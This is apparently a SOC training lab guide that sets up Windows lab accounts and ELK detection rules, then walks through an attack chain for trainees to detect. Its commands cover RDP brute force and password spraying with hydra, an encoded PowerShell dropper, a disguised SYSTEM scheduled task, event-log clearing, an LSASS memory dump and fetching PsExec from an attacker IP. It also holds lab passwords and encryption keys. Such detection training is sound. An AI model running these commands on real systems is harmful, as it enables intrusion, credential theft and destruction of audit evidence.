A DAY AS A SOC

`BlueLabs Course | By: Abdullah Ali Alhakami`

`Twitter: @Alhakami1_`

Prepare the env

- Create a user: `Alhakami.A : Abdullah!@12`
  - Assign Administrator privileges to the user
- Create a user : `it.admin` : `Hard@@Easy@@You@@Guess!`
- Enable RDP on Client01 machine

Rules for ELK

▼ **If you got a API encryption error do the below:**

┌──(root 💀 ip-192-168-2-20)-[~]
└─#
`/usr/share/kibana/bin/kibana-encryption-keys generate`

Kibana Encryption Key Generation Utility

The 'generate' command guides you through the process of setting encryption keys for:

xpack.encryptedSavedObjects.encryptionKey
Used to encrypt stored objects such as dashboards and visualizations

https://www.elastic.co/guide/en/kibana/current/xpack-security-secure-saved-objects.html#xpack-security-secure-saved-objects

xpack.reporting.encryptionKey
Used to encrypt saved reports

https://www.elastic.co/guide/en/kibana/current/reporting-settings-kb.html#general-reporting-settings

xpack.security.encryptionKey
Used to encrypt session information

https://www.elastic.co/guide/en/kibana/current/security-settings-kb.html#security-session-and-cookie-settings

Already defined settings are ignored and can be regenerated using the --force flag. Check the documentation links for instructions on how to rotate encryption keys.
Definitions should be set in the kibana.yml used configure Kibana.

Settings:

```
xpack.encryptedSavedObjects.encryptionKey: ebdbeb6776b0973c37c4fcdb087d8ec2
xpack.reporting.encryptionKey: f3b1c34a8954fc8a6b3f0bf82d646b78
xpack.security.encryptionKey: 35bc7cb2613e1acb6891acf52edfbca3
```

Copy the above and paste it into kibana.yml. **Then** `systemctl restart kibana`.

- Go to Security - Rules - Import Rules
  - Then select the rules you want to enable
    - Bulk option - Enable
      - PowerShell Script with Log Clear Capabilities
      - Suspicious PowerShell Engine ImageLoad

- Potential Process Injection via PowerShell
- PowerShell Suspicious Payload Encoded and Compressed
- PowerShell Share Enumeration Script
- Process Creation via Secondary Logon
- Multiple Logon Failure Followed by Logon Success
- PsExec Network Connection
- Multiple Logon Failure from the same Source Address
- Windows Event Logs Cleared
- Suspicious LSASS Process Access
- A scheduled task was created
- A scheduled task was updated
- LSASS Memory Dump Creation
- Clearing Windows Event

Attacking scenario

Recon:

`nmap -sS -A -Pn <ClientIP>`

Initial Access:

- RDP Brute Force for specific account:

```
hydra -V -w 2 -f -l username@<domain-name> -P 'Pass.txt' rdp://targetip
```

- Password Spraying Attack Scenario

```
hydra -V -w 2 -f -L user.txt -p 'MyPassWord' rdp://targetip
```

Execution powershell:

1. `powershell -c 'function ActiveDirectory-Serviceup {$env5s =`
`"UwBlAHQAIABvAGIAagBTAGgAZQBsAGwAIAA9ACAAQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApAAoAdQByAGwAIAA9ACAA`
`$chromesrv = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($env5s));`
`Write-Output $chromesrv > C:\fs.exe.vbs;'`

persistence:

`schtasks /create /tn WindowzUpdate /tr "C:\Windows\System32\WScript.exe C:\fs.exe.vbs" /sc minute /ru System /rl HIGHEST`

Defense Evasion:

- Clear Windows Logs

```
$eventLogs = Get-EventLog -List | Select-Object -ExpandProperty Log
foreach ($log in $eventLogs) {
Clear-EventLog -LogName $log
}
```

Credentials Access:

- LSASS MEMORY (Optional)

`Open Task Manager - Go to details - choose LSASS - Create Dump File`

Then you can dump the credentials offline

----------OR----------

`rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS PID> C:\lsass.dmp full`

Discovery:

```
net share
```

```
net localgroup
```

Lateral-Movement

```
Invoke-WebRequest -Uri "http://<Attacker-IP>:8000/PsExec.exe" -OutFile update.exe
```

```
<PsExec.exe or update.exe> \\<DC-IP> cmd
```

Discovery

```
Whoami
```

```
hostname
```